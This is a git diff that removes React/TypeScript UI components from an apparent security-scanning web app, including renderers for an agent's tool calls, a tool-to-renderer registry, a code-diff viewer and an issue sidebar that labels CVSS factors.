|
||||
// No todos and no error — brief label only
|
||||
if (todos.length === 0 && !error) {
|
||||
return (
|
||||
<div className="flex items-center gap-2">
|
||||
<ActionIcon className="w-3.5 h-3.5 text-purple-400/60" />
|
||||
<span className="text-purple-400/80 font-semibold text-sm">{action.label}</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-center gap-2 mb-2">
|
||||
<ActionIcon className="w-3.5 h-3.5 text-purple-400/60" />
|
||||
<span className="text-purple-400/80 font-semibold text-sm">{action.label}</span>
|
||||
</div>
|
||||
{error && <div className="text-red-400/70 text-[13px] mb-2">{error}</div>}
|
||||
{todos.length > 0 && (
|
||||
<div className="rounded-lg border border-white/[0.06] bg-white/[0.015] px-3 py-2">
|
||||
<TodoList todos={todos} highlightId={highlightId} />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,100 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import { useState } from "react";
|
||||
import Markdown from "./Markdown";
|
||||
import hljs from "@/lib/hljs";
|
||||
import "highlight.js/styles/github-dark.css";
|
||||
|
||||
const OUTPUT_PREVIEW_LINES = 6;
|
||||
const CODE_PREVIEW_LINES = 20;
|
||||
|
||||
/** Truncatable markdown text with "Show more" */
|
||||
export function TruncatedText({ text, maxLines = 20 }: { text: string; maxLines?: number }) {
|
||||
const [expanded, setExpanded] = useState(false);
|
||||
const lines = text.trimEnd().split("\n");
|
||||
const needsTruncation = lines.length > maxLines;
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div
|
||||
className={expanded && needsTruncation ? "max-h-[1200px] overflow-auto" : ""}
|
||||
style={!expanded && needsTruncation ? { display: "-webkit-box", WebkitLineClamp: maxLines, WebkitBoxOrient: "vertical", overflow: "hidden" } : undefined}
|
||||
>
|
||||
<Markdown text={text} />
|
||||
</div>
|
||||
{needsTruncation && (
|
||||
<button onClick={() => setExpanded(!expanded)} className="text-xs text-[#555] hover:text-[#888] mt-1">
|
||||
{expanded ? "Show less" : "Show more"}
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** Code/output block — truncates to 12 lines with "Show more", expanded view scrolls */
|
||||
export function CodeBlock({ children, className = "" }: { children: React.ReactNode; className?: string }) {
|
||||
const [expanded, setExpanded] = useState(false);
|
||||
|
||||
const isString = typeof children === "string";
|
||||
const lines = isString ? (children as string).trimEnd().split("\n") : null;
|
||||
const needsTruncation = lines !== null && lines.length > OUTPUT_PREVIEW_LINES;
|
||||
const displayContent = needsTruncation && !expanded
|
||||
? lines!.slice(0, OUTPUT_PREVIEW_LINES).join("\n")
|
||||
: children;
|
||||
|
||||
return (
|
||||
<div>
|
||||
<pre className={`font-mono text-[13px] leading-relaxed whitespace-pre-wrap break-words mt-1 ${
|
||||
expanded ? "overflow-auto max-h-[1200px]" : "overflow-hidden"
|
||||
} ${className}`}>
|
||||
{displayContent}
|
||||
</pre>
|
||||
{needsTruncation && (
|
||||
<button
|
||||
onClick={() => setExpanded(!expanded)}
|
||||
className="text-xs text-[#555] hover:text-[#888] mt-0.5"
|
||||
>
|
||||
{expanded ? "Show less" : "Show more"}
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** Syntax-highlighted code block — no border, no line numbers, just highlighting.
|
||||
* Pass `collapsible` to get a "Show more" toggle instead of a scroll cap. */
|
||||
export function SyntaxBlock({ code, language, className = "", collapsible = false }: { code: string; language?: string; className?: string; collapsible?: boolean }) {
|
||||
const [expanded, setExpanded] = useState(false);
|
||||
|
||||
const lines = code.trimEnd().split("\n");
|
||||
const needsTruncation = collapsible && lines.length > CODE_PREVIEW_LINES;
|
||||
const displayCode = needsTruncation && !expanded
|
||||
? lines.slice(0, CODE_PREVIEW_LINES).join("\n")
|
||||
: code;
|
||||
|
||||
let highlighted: string;
|
||||
try {
|
||||
highlighted = language
|
||||
? hljs.highlight(displayCode, { language, ignoreIllegals: true }).value
|
||||
: hljs.highlightAuto(displayCode).value;
|
||||
} catch {
|
||||
highlighted = hljs.highlightAuto(displayCode).value;
|
||||
}
|
||||
|
||||
return (
|
||||
<div>
|
||||
<pre className={`font-mono text-[12px] leading-relaxed px-0 py-1 mt-1 whitespace-pre-wrap break-all ${
|
||||
collapsible
|
||||
? expanded ? "overflow-auto max-h-[1200px]" : "overflow-hidden"
|
||||
: "overflow-auto max-h-[400px]"
|
||||
} ${className}`}>
|
||||
<code dangerouslySetInnerHTML={{ __html: highlighted }} />
|
||||
</pre>
|
||||
{needsTruncation && (
|
||||
<button onClick={() => setExpanded(!expanded)} className="text-xs text-[#555] hover:text-[#888] mt-0.5">
|
||||
{expanded ? "Show less" : "Show more"}
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,30 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import { shortPath } from "./utils";
|
||||
|
||||
/** Mirrors the OSS TUI `ViewImageRenderer`: surfaces load errors, otherwise a
|
||||
* compact "view image <path>" line. */
|
||||
export default function ViewImageRenderer({ args, result }: ToolRendererProps) {
|
||||
const path = ((args.path as string) ?? "").trim();
|
||||
|
||||
const res = result as Record<string, unknown> | string | null;
|
||||
let error: string | null = null;
|
||||
if (typeof res === "string") {
|
||||
const trimmed = res.trim();
|
||||
// A string result that isn't an image payload or structured data is an error message
|
||||
if (trimmed && !trimmed.toLowerCase().startsWith("data:image/") && !trimmed.startsWith("{")) {
|
||||
error = trimmed;
|
||||
}
|
||||
}
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-baseline gap-2">
|
||||
<span className="text-sky-400/80 font-semibold text-sm shrink-0">view image</span>
|
||||
{path && <span className="text-[#888] font-mono text-[13px] break-all">{shortPath(path)}</span>}
|
||||
</div>
|
||||
{error && <div className="text-red-400/70 text-[13px] mt-1">{error}</div>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,73 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import { TruncatedText } from "./ToolCard";
|
||||
import { MdCodeBlock } from "@/components/vulnerability/MdCodeBlock";
|
||||
import Markdown from "./Markdown";
|
||||
|
||||
const SEVERITY_COLORS: Record<string, string> = {
|
||||
critical: "text-red-400", high: "text-orange-400", medium: "text-yellow-400",
|
||||
low: "text-blue-400", info: "text-cyan-400",
|
||||
};
|
||||
|
||||
export default function VulnReportRenderer({ args, result }: ToolRendererProps) {
|
||||
const title = (args.title as string) ?? "";
|
||||
const description = (args.description as string) ?? "";
|
||||
const impact = (args.impact as string) ?? "";
|
||||
const target = (args.target as string) ?? "";
|
||||
const endpoint = (args.endpoint as string) ?? "";
|
||||
const method = (args.method as string) ?? "";
|
||||
const technicalAnalysis = (args.technical_analysis as string) ?? "";
|
||||
const pocDescription = (args.poc_description as string) ?? "";
|
||||
const pocCode = (args.poc_script_code as string) ?? "";
|
||||
const remediation = (args.remediation_steps as string) ?? "";
|
||||
const cve = (args.cve as string) ?? "";
|
||||
const cwe = (args.cwe as string) ?? "";
|
||||
|
||||
const res = result as Record<string, unknown> | null;
|
||||
const rawSev = (res && typeof res === "object" ? res.severity : null) ?? args.severity ?? "medium";
|
||||
const severity = String(rawSev).toLowerCase();
|
||||
const cvss = (res && typeof res === "object" ? (res.cvss_score as number) : null) ?? (args.cvss as number) ?? null;
|
||||
const sevColor = SEVERITY_COLORS[severity] ?? "text-yellow-400";
|
||||
|
||||
return (
|
||||
<div className="space-y-3">
|
||||
<div className="flex items-center gap-2 flex-wrap">
|
||||
<span className={`font-semibold text-sm ${sevColor}`}>{severity.toUpperCase()}</span>
|
||||
{cvss != null && <span className="text-[#888] text-[13px]">CVSS {cvss}</span>}
|
||||
{cve && <span className="text-[#888] font-mono text-[13px]">{cve}</span>}
|
||||
{cwe && <span className="text-[#888] font-mono text-[13px]">{cwe}</span>}
|
||||
</div>
|
||||
{title && <div className="text-[15px] text-white/80 font-semibold">{title}</div>}
|
||||
{(target || endpoint) && (
|
||||
<div className="text-[13px] text-[#888] font-mono">{target}{endpoint ? ` ${method} ${endpoint}` : ""}</div>
|
||||
)}
|
||||
{description && <TruncatedText text={description} maxLines={20} />}
|
||||
{impact && (
|
||||
<div>
|
||||
<span className="text-emerald-400/60 text-sm font-semibold">Impact</span>
|
||||
<div className="mt-1"><TruncatedText text={impact} maxLines={15} /></div>
|
||||
</div>
|
||||
)}
|
||||
{technicalAnalysis && (
|
||||
<div>
|
||||
<span className="text-emerald-400/60 text-sm font-semibold">Technical Analysis</span>
|
||||
<div className="mt-1"><TruncatedText text={technicalAnalysis} maxLines={20} /></div>
|
||||
</div>
|
||||
)}
|
||||
{(pocDescription || pocCode) && (
|
||||
<div>
|
||||
<span className="text-emerald-400/60 text-sm font-semibold">Proof of Concept</span>
|
||||
{pocDescription && <div className="mt-1"><Markdown text={pocDescription} /></div>}
|
||||
{pocCode && <MdCodeBlock>{pocCode}</MdCodeBlock>}
|
||||
</div>
|
||||
)}
|
||||
{remediation && (
|
||||
<div>
|
||||
<span className="text-emerald-400/60 text-sm font-semibold">Remediation</span>
|
||||
<div className="mt-1"><TruncatedText text={remediation} maxLines={15} /></div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,24 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import { TruncatedText } from "./ToolCard";
|
||||
|
||||
export default function WebSearchRenderer({ args, result }: ToolRendererProps) {
|
||||
const query = (args.query as string) ?? (args.search_query as string) ?? "";
|
||||
const res = result as Record<string, unknown> | null;
|
||||
const content = res ? (res.content as string) ?? null : null;
|
||||
const error = res && !res.success ? (res.message as string) ?? null : null;
|
||||
|
||||
return (
|
||||
<div>
|
||||
<span className="text-amber-400/80 font-semibold text-sm">Searching the web</span>
|
||||
{query && <div className="text-[#888] text-[13px] mt-0.5">{query}</div>}
|
||||
{error && <div className="text-red-400/70 text-[13px] mt-1.5">{error}</div>}
|
||||
{content && (
|
||||
<div className="mt-2">
|
||||
<TruncatedText text={content} maxLines={15} />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,173 +0,0 @@
|
||||
import type { ComponentType } from "react";
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import {
|
||||
Terminal, Globe, FileText, ShieldAlert, ArrowUpRight, Brain,
|
||||
Bot, MessageCircle, Flag, Eye, Search, Code, StickyNote,
|
||||
ListTodo, Crosshair, Wrench, Ban, Image,
|
||||
} from "lucide-react";
|
||||
|
||||
import TerminalRenderer from "./TerminalRenderer";
|
||||
import BrowserRenderer from "./BrowserRenderer";
|
||||
import FileEditRenderer from "./FileEditRenderer";
|
||||
import ApplyPatchRenderer from "./ApplyPatchRenderer";
|
||||
import ViewImageRenderer from "./ViewImageRenderer";
|
||||
import VulnReportRenderer from "./VulnReportRenderer";
|
||||
import ProxyRenderer from "./ProxyRenderer";
|
||||
import ThinkRenderer from "./ThinkRenderer";
|
||||
import AgentCommsRenderer from "./AgentCommsRenderer";
|
||||
import WebSearchRenderer from "./WebSearchRenderer";
|
||||
import PythonRenderer from "./PythonRenderer";
|
||||
import ScanInfoRenderer from "./ScanInfoRenderer";
|
||||
import FinishRenderer from "./FinishRenderer";
|
||||
import NotesRenderer from "./NotesRenderer";
|
||||
import TodoRenderer from "./TodoRenderer";
|
||||
import FallbackRenderer from "./FallbackRenderer";
|
||||
import LoadSkillRenderer from "./LoadSkillRenderer";
|
||||
|
||||
/**
|
||||
* Tool-renderer mapping — data-driven, keyed by the engine's tool *family*.
|
||||
*
|
||||
* The OSS strix engine (usestrix/strix) is the source of truth for tool names:
|
||||
* see `strix/tools/**` for definitions and `strix/interface/tui/renderers/` for
|
||||
* the TUI equivalents of these components. Tools come in families that share a
|
||||
* React renderer + icon (terminal, proxy, notes, todos, …), so we describe each
|
||||
* family ONCE instead of repeating a row per tool name. A new tool that joins an
|
||||
* existing family (e.g. another `*_request` proxy tool) is picked up by the
|
||||
* family prefix matcher with no code change; only genuinely-new families need an
|
||||
* entry here.
|
||||
*/
|
||||
|
||||
export type ToolCategory =
|
||||
| "terminal"
|
||||
| "python"
|
||||
| "browser"
|
||||
| "filesystem"
|
||||
| "proxy"
|
||||
| "reporting"
|
||||
| "thinking"
|
||||
| "agents"
|
||||
| "search"
|
||||
| "lifecycle"
|
||||
| "notes"
|
||||
| "skills"
|
||||
| "todos"
|
||||
| "telemetry";
|
||||
|
||||
export interface ToolIconMeta {
|
||||
icon: ComponentType<{ className?: string }>;
|
||||
color: string;
|
||||
}
|
||||
|
||||
interface CategoryMeta {
|
||||
renderer: ComponentType<ToolRendererProps>;
|
||||
icon: ComponentType<{ className?: string }>;
|
||||
color: string;
|
||||
/** Family matcher for graceful fallback of unknown tools in this family. */
|
||||
match?: RegExp;
|
||||
}
|
||||
|
||||
/** Per-family defaults: renderer + base icon/color + a family-name matcher. */
|
||||
const CATEGORY_META: Record<ToolCategory, CategoryMeta> = {
|
||||
terminal: { renderer: TerminalRenderer, icon: Terminal, color: "text-emerald-400" },
|
||||
python: { renderer: PythonRenderer, icon: Code, color: "text-yellow-400" },
|
||||
browser: { renderer: BrowserRenderer, icon: Globe, color: "text-blue-400" },
|
||||
filesystem: { renderer: FileEditRenderer, icon: FileText, color: "text-sky-400" },
|
||||
proxy: { renderer: ProxyRenderer, icon: ArrowUpRight, color: "text-purple-400", match: /request|sitemap|scope/ },
|
||||
reporting: { renderer: VulnReportRenderer, icon: ShieldAlert, color: "text-red-400" },
|
||||
thinking: { renderer: ThinkRenderer, icon: Brain, color: "text-purple-400" },
|
||||
agents: { renderer: AgentCommsRenderer, icon: Bot, color: "text-cyan-400", match: /agent/ },
|
||||
search: { renderer: WebSearchRenderer, icon: Search, color: "text-amber-400" },
|
||||
lifecycle: { renderer: ScanInfoRenderer, icon: Flag, color: "text-emerald-400" },
|
||||
notes: { renderer: NotesRenderer, icon: StickyNote, color: "text-amber-400", match: /note/ },
|
||||
skills: { renderer: LoadSkillRenderer, icon: Wrench, color: "text-emerald-400" },
|
||||
todos: { renderer: TodoRenderer, icon: ListTodo, color: "text-purple-400", match: /todo/ },
|
||||
telemetry: { renderer: FallbackRenderer, icon: Wrench, color: "text-[#555]" },
|
||||
};
|
||||
|
||||
/**
|
||||
* Tool name → family. Grouped by family; legacy names the engine used before the
|
||||
* OSS SDK migration (terminal_execute, python_action, browser_action,
|
||||
* str_replace_editor, send_request, …) are kept as aliases so historical scan
|
||||
* data keeps rendering.
|
||||
*/
|
||||
const CATEGORY_TOOLS: Record<ToolCategory, readonly string[]> = {
|
||||
// Shell — SDK `exec_command` / `write_stdin` (legacy: terminal_execute)
|
||||
terminal: ["exec_command", "write_stdin", "terminal_execute"],
|
||||
// Legacy Python session tool (now runs through the shell)
|
||||
python: ["python_action"],
|
||||
// Legacy browser tool (now driven via agent-browser CLI over the shell)
|
||||
browser: ["browser_action"],
|
||||
// SDK filesystem — `apply_patch` / `view_image` (legacy: str_replace_editor, list/search)
|
||||
filesystem: ["apply_patch", "view_image", "str_replace_editor", "list_files", "search_files"],
|
||||
// Caido proxy tools (legacy: send_request)
|
||||
proxy: ["list_requests", "view_request", "repeat_request", "list_sitemap", "view_sitemap_entry", "scope_rules", "send_request"],
|
||||
reporting: ["create_vulnerability_report"],
|
||||
thinking: ["think"],
|
||||
agents: ["create_agent", "agent_finish", "send_message_to_agent", "wait_for_message", "view_agent_graph", "stop_agent"],
|
||||
search: ["web_search"],
|
||||
// scan_start_info / subagent_start_info are strix-app synthetic events; finish_scan is the engine's
|
||||
lifecycle: ["scan_start_info", "subagent_start_info", "finish_scan"],
|
||||
notes: ["create_note", "delete_note", "update_note", "list_notes", "get_note"],
|
||||
skills: ["load_skill"],
|
||||
todos: ["create_todo", "list_todos", "update_todo", "mark_todo_done", "mark_todo_pending", "delete_todo"],
|
||||
telemetry: ["sandbox_error_details", "llm_error_details"],
|
||||
};
|
||||
|
||||
/** Reverse index (tool name → family), built once from CATEGORY_TOOLS. */
|
||||
const TOOL_CATEGORY: Record<string, ToolCategory> = Object.fromEntries(
|
||||
(Object.entries(CATEGORY_TOOLS) as [ToolCategory, readonly string[]][]).flatMap(
|
||||
([category, names]) => names.map((name) => [name, category] as const),
|
||||
),
|
||||
);
|
||||
|
||||
/**
|
||||
* Per-tool renderer overrides — for the rare tool whose renderer differs from its
|
||||
* family default (finish_scan renders the final report, not the scan-start card).
|
||||
*/
|
||||
const RENDERER_OVERRIDES: Partial<Record<string, ComponentType<ToolRendererProps>>> = {
|
||||
finish_scan: FinishRenderer,
|
||||
apply_patch: ApplyPatchRenderer,
|
||||
view_image: ViewImageRenderer,
|
||||
};
|
||||
|
||||
/**
|
||||
* Per-tool icon overrides — for tools whose icon/color differs from their family
|
||||
* default (the agents family and lifecycle family each vary per tool).
|
||||
*/
|
||||
const ICON_OVERRIDES: Partial<Record<string, ToolIconMeta>> = {
|
||||
agent_finish: { icon: Flag, color: "text-cyan-400" },
|
||||
send_message_to_agent: { icon: MessageCircle, color: "text-cyan-400" },
|
||||
wait_for_message: { icon: MessageCircle, color: "text-cyan-400" },
|
||||
view_agent_graph: { icon: Eye, color: "text-cyan-400" },
|
||||
stop_agent: { icon: Ban, color: "text-red-400" },
|
||||
scan_start_info: { icon: Crosshair, color: "text-emerald-400" },
|
||||
subagent_start_info: { icon: Bot, color: "text-purple-400" },
|
||||
view_image: { icon: Image, color: "text-sky-400" },
|
||||
};
|
||||
|
||||
const FALLBACK_META: CategoryMeta = CATEGORY_META.telemetry;
|
||||
|
||||
/** Resolve a tool name to its family, falling back to family-name matchers. */
|
||||
function resolveCategory(toolName: string): ToolCategory | null {
|
||||
const direct = TOOL_CATEGORY[toolName];
|
||||
if (direct) return direct;
|
||||
for (const [category, meta] of Object.entries(CATEGORY_META) as [ToolCategory, CategoryMeta][]) {
|
||||
if (meta.match?.test(toolName)) return category;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export function getToolRenderer(toolName: string): ComponentType<ToolRendererProps> {
|
||||
const override = RENDERER_OVERRIDES[toolName];
|
||||
if (override) return override;
|
||||
const category = resolveCategory(toolName);
|
||||
return category ? CATEGORY_META[category].renderer : FallbackRenderer;
|
||||
}
|
||||
|
||||
export function getToolIcon(toolName: string): ToolIconMeta {
|
||||
const override = ICON_OVERRIDES[toolName];
|
||||
if (override) return override;
|
||||
const category = resolveCategory(toolName);
|
||||
const meta = category ? CATEGORY_META[category] : FALLBACK_META;
|
||||
return { icon: meta.icon, color: meta.color };
|
||||
}
|
||||
@@ -1,3 +0,0 @@
|
||||
export function shortPath(p: string): string {
|
||||
return p.length > 60 ? "..." + p.slice(-57) : p;
|
||||
}
|
||||
@@ -1,114 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import { useState } from "react";
|
||||
import hljs from "@/lib/hljs";
|
||||
import "highlight.js/styles/github-dark.css";
|
||||
import { diffLines } from "diff";
|
||||
import { Copy, Check } from "lucide-react";
|
||||
import { getLanguageFromFile, copyToClipboard } from "@/lib/vulnerability-utils";
|
||||
|
||||
function safeHighlight(code: string, lang: string): string {
|
||||
try {
|
||||
return hljs.highlight(code, { language: lang, ignoreIllegals: true }).value;
|
||||
} catch {
|
||||
return hljs.highlightAuto(code).value;
|
||||
}
|
||||
}
|
||||
|
||||
interface CodeDiffBlockProps {
|
||||
file: string;
|
||||
startLine: number;
|
||||
endLine?: number;
|
||||
before: string;
|
||||
after: string;
|
||||
onCopy?: () => void;
|
||||
}
|
||||
|
||||
export function CodeDiffBlock({ file, startLine, endLine, before, after, onCopy }: CodeDiffBlockProps) {
|
||||
const [copied, setCopied] = useState(false);
|
||||
|
||||
const lineRef =
|
||||
endLine && endLine !== startLine ? `${startLine}-${endLine}` : `${startLine}`;
|
||||
const lang = getLanguageFromFile(file) || "text";
|
||||
const changes = diffLines(before, after);
|
||||
|
||||
let oldLineNo = startLine;
|
||||
let newLineNo = startLine;
|
||||
const rows = changes.flatMap((change) =>
|
||||
change.value
|
||||
.replace(/\n$/, "")
|
||||
.split("\n")
|
||||
.map((line) => {
|
||||
const highlighted =
|
||||
line === ""
|
||||
? "\n"
|
||||
: lang !== "text"
|
||||
? safeHighlight(line, lang)
|
||||
: line.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
|
||||
let leftNo = "";
|
||||
let rightNo = "";
|
||||
if (change.removed) {
|
||||
leftNo = String(oldLineNo++);
|
||||
} else if (change.added) {
|
||||
rightNo = String(newLineNo++);
|
||||
} else {
|
||||
leftNo = String(oldLineNo++);
|
||||
rightNo = String(newLineNo++);
|
||||
}
|
||||
return { highlighted, added: !!change.added, removed: !!change.removed, leftNo, rightNo };
|
||||
})
|
||||
);
|
||||
|
||||
const copy = () => {
|
||||
copyToClipboard(after);
|
||||
setCopied(true);
|
||||
setTimeout(() => setCopied(false), 2000);
|
||||
onCopy?.();
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="rounded-md border border-[#2a2a2a] overflow-hidden">
|
||||
<div className="flex items-stretch">
|
||||
<span className="relative flex items-center text-[13px] text-[#999] font-mono px-4 py-2 border-r border-[#2a2a2a] break-all">
|
||||
{file}:{lineRef}
|
||||
<span className="absolute top-0 inset-x-0 h-0.5 bg-white/60 rounded-full" />
|
||||
</span>
|
||||
<div className="flex-1 border-b border-[#2a2a2a]" />
|
||||
<button
|
||||
onClick={copy}
|
||||
className="px-3 py-2 text-[#555] hover:text-white transition-colors flex-shrink-0 border-b border-[#2a2a2a]"
|
||||
aria-label="Copy fixed code"
|
||||
>
|
||||
{copied ? (
|
||||
<Check className="w-3.5 h-3.5 text-emerald-400" />
|
||||
) : (
|
||||
<Copy className="w-3.5 h-3.5" />
|
||||
)}
|
||||
</button>
|
||||
</div>
|
||||
<div className="overflow-auto max-h-[400px]">
|
||||
<table className="w-full border-collapse font-mono text-[12px] leading-[22px] [font-variant-ligatures:none]">
|
||||
<tbody>
|
||||
{rows.map((row, i) => (
|
||||
<tr
|
||||
key={i}
|
||||
className={row.added ? "bg-blue-500/[0.12]" : row.removed ? "bg-red-500/[0.12]" : ""}
|
||||
>
|
||||
<td className="select-none w-[1px] whitespace-nowrap pl-4 pr-1.5 text-right text-[#555] align-top text-[12px] leading-[22px]">
|
||||
{row.leftNo}
|
||||
</td>
|
||||
<td className="select-none w-[1px] whitespace-nowrap pl-1.5 pr-4 text-right text-[#555] align-top text-[12px] leading-[22px] border-r border-[#2a2a2a]">
|
||||
{row.rightNo}
|
||||
</td>
|
||||
<td
|
||||
className="pl-4 pr-4 whitespace-pre"
|
||||
dangerouslySetInnerHTML={{ __html: row.highlighted }}
|
||||
/>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,27 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import ReactMarkdown from "react-markdown";
|
||||
import remarkGfm from "remark-gfm";
|
||||
import { rehypeCodeMeta, mdComponents } from "./MdCodeBlock";
|
||||
|
||||
export function ContentSection({ title, content, action }: { title?: string; content: string; action?: React.ReactNode }) {
|
||||
return (
|
||||
<section>
|
||||
{(title || action) && (
|
||||
<div className="flex items-center justify-between gap-3 mb-3">
|
||||
{title ? <h2 className="text-xl font-semibold text-white">{title}</h2> : <span />}
|
||||
{action}
|
||||
</div>
|
||||
)}
|
||||
<div className="prose-markdown">
|
||||
<ReactMarkdown
|
||||
remarkPlugins={[remarkGfm]}
|
||||
rehypePlugins={[rehypeCodeMeta]}
|
||||
components={mdComponents}
|
||||
>
|
||||
{content}
|
||||
</ReactMarkdown>
|
||||
</div>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
@@ -1,277 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import { useState } from "react";
|
||||
import { Clock, Globe, ChevronDown } from "lucide-react";
|
||||
import { parseTarget } from "@/lib/target-utils";
|
||||
import { ProviderIcon } from "@/components/AddRepositoryDialog";
|
||||
import { getSeverityDot } from "@/lib/vulnerability-utils";
|
||||
import { formatTimeAgo } from "@/lib/utils";
|
||||
import { FIX_EFFORT_META, type FixEffort, type Vulnerability } from "@/types/issues";
|
||||
|
||||
/* ─── Human-friendly CVSS labels ─── */
|
||||
|
||||
const HUMAN_LABELS: Record<string, Record<string, string>> = {
|
||||
attack_vector: { N: "Remotely exploitable", A: "Adjacent network", L: "Local access required", P: "Physical access required" },
|
||||
attack_complexity: { L: "Easy to exploit", H: "Requires specific conditions" },
|
||||
privileges_required: { N: "No authentication needed", L: "Low privileges needed", H: "High privileges needed" },
|
||||
user_interaction: { N: "No user action required", R: "Requires user action", P: "Passive user role", A: "Active user role" },
|
||||
scope: { U: "Impact stays contained", C: "Can spread to other systems" },
|
||||
confidentiality: { N: "No data exposure", L: "Partial data exposure", H: "Full data exposure" },
|
||||
integrity: { N: "No data modification", L: "Limited modification", H: "Full data modification" },
|
||||
availability: { N: "No service disruption", L: "Limited disruption", H: "Full service disruption" },
|
||||
};
|
||||
|
||||
const RISK_LEVEL: Record<string, Record<string, "low" | "medium" | "high">> = {
|
||||
attack_vector: { N: "high", A: "medium", L: "low", P: "low" },
|
||||
attack_complexity: { L: "high", H: "low" },
|
||||
privileges_required: { N: "high", L: "medium", H: "low" },
|
||||
user_interaction: { N: "high", R: "low", P: "medium", A: "low" },
|
||||
scope: { C: "high", U: "low" },
|
||||
confidentiality: { H: "high", L: "medium", N: "low" },
|
||||
integrity: { H: "high", L: "medium", N: "low" },
|
||||
availability: { H: "high", L: "medium", N: "low" },
|
||||
};
|
||||
|
||||
const RISK_BADGE: Record<string, string> = {
|
||||
high: "bg-red-500/15 text-red-400 border-red-500/25",
|
||||
medium: "bg-yellow-500/15 text-yellow-400 border-yellow-500/25",
|
||||
low: "bg-[#222] text-[#666] border-[#333]",
|
||||
};
|
||||
|
||||
const FACTOR_GROUPS: { label: string; keys: string[] }[] = [
|
||||
{ label: "Exploitability", keys: ["attack_vector", "attack_complexity", "privileges_required", "user_interaction"] },
|
||||
{ label: "Impact", keys: ["scope", "confidentiality", "integrity", "availability"] },
|
||||
];
|
||||
|
||||
/* ─── Location link builder ─── */
|
||||
|
||||
export function buildLocationHref(
|
||||
repoUrl: string,
|
||||
provider: string,
|
||||
branch: string,
|
||||
file: string,
|
||||
startLine: number,
|
||||
): string | null {
|
||||
const base = repoUrl.replace(/\.git$/, "").replace(/\/+$/, "");
|
||||
const encodedFile = file.split("/").map(encodeURIComponent).join("/");
|
||||
const encodedBranch = branch.split("/").map(encodeURIComponent).join("/");
|
||||
|
||||
if (provider === "github") {
|
||||
return `${base}/blob/${encodedBranch}/${encodedFile}#L${startLine}`;
|
||||
}
|
||||
if (provider === "gitlab") {
|
||||
return `${base}/-/blob/${encodedBranch}/${encodedFile}#L${startLine}`;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/* ─── Props ─── */
|
||||
|
||||
interface IssueSidebarProps {
|
||||
vulnerability: Vulnerability;
|
||||
statusSlot: React.ReactNode;
|
||||
slackThreadUrl?: string | null;
|
||||
}
|
||||
|
||||
/* ─── Component ─── */
|
||||
|
||||
export function IssueSidebar({ vulnerability, statusSlot, slackThreadUrl }: IssueSidebarProps) {
|
||||
const { severity, cvss, cve, cwe, fix_effort, created_at, target, endpoint, method, code_locations, cvss_breakdown, location_meta } = vulnerability;
|
||||
|
||||
const [riskOpen, setRiskOpen] = useState(true);
|
||||
|
||||
const fixLocations = code_locations?.filter((loc) => loc.fix_before && loc.fix_after);
|
||||
const hasLocations = fixLocations && fixLocations.length > 0;
|
||||
const parsed = target ? parseTarget(target) : null;
|
||||
const hasAsset = !!(target || endpoint || method || hasLocations);
|
||||
|
||||
const hasBreakdown = cvss_breakdown && Object.values(cvss_breakdown).some((v) => v != null);
|
||||
|
||||
return (
|
||||
<aside className="lg:sticky lg:top-6 lg:max-h-[calc(100vh-3rem)] lg:overflow-y-auto">
|
||||
{/* ─── Metadata ─── */}
|
||||
<div className="pb-4">
|
||||
<div className="space-y-3">
|
||||
{/* Severity */}
|
||||
<div className="flex items-center justify-between">
|
||||
<span className="text-xs text-[#aaa]">Severity</span>
|
||||
<div className="flex items-center gap-1.5">
|
||||
<div className={`w-2 h-2 rounded-full ${getSeverityDot(severity)}`} aria-hidden="true" />
|
||||
<span className="text-sm font-medium capitalize text-white">{severity}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* CVSS */}
|
||||
<div className="flex items-center justify-between">
|
||||
<span className="text-xs text-[#aaa]">CVSS Score</span>
|
||||
<span className="text-sm font-semibold tabular-nums text-white">{cvss !== null ? cvss : "N/A"}</span>
|
||||
</div>
|
||||
|
||||
{/* CVE */}
|
||||
{cve && (
|
||||
<div className="flex items-center justify-between">
|
||||
<span className="text-xs text-[#aaa]">CVE</span>
|
||||
<span className="text-sm text-white font-mono">{cve}</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* CWE */}
|
||||
{cwe && cwe.length > 0 && (
|
||||
<div className="flex items-center justify-between">
|
||||
<span className="text-xs text-[#aaa]">CWE</span>
|
||||
<span className="text-xs text-white font-mono truncate max-w-[80%] text-right" title={cwe.join(" · ")}>
|
||||
{cwe.join(" · ")}
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Fix Effort */}
|
||||
{fix_effort && (
|
||||
<div className="flex items-center justify-between">
|
||||
<span className="text-xs text-[#aaa]">Fix Effort</span>
|
||||
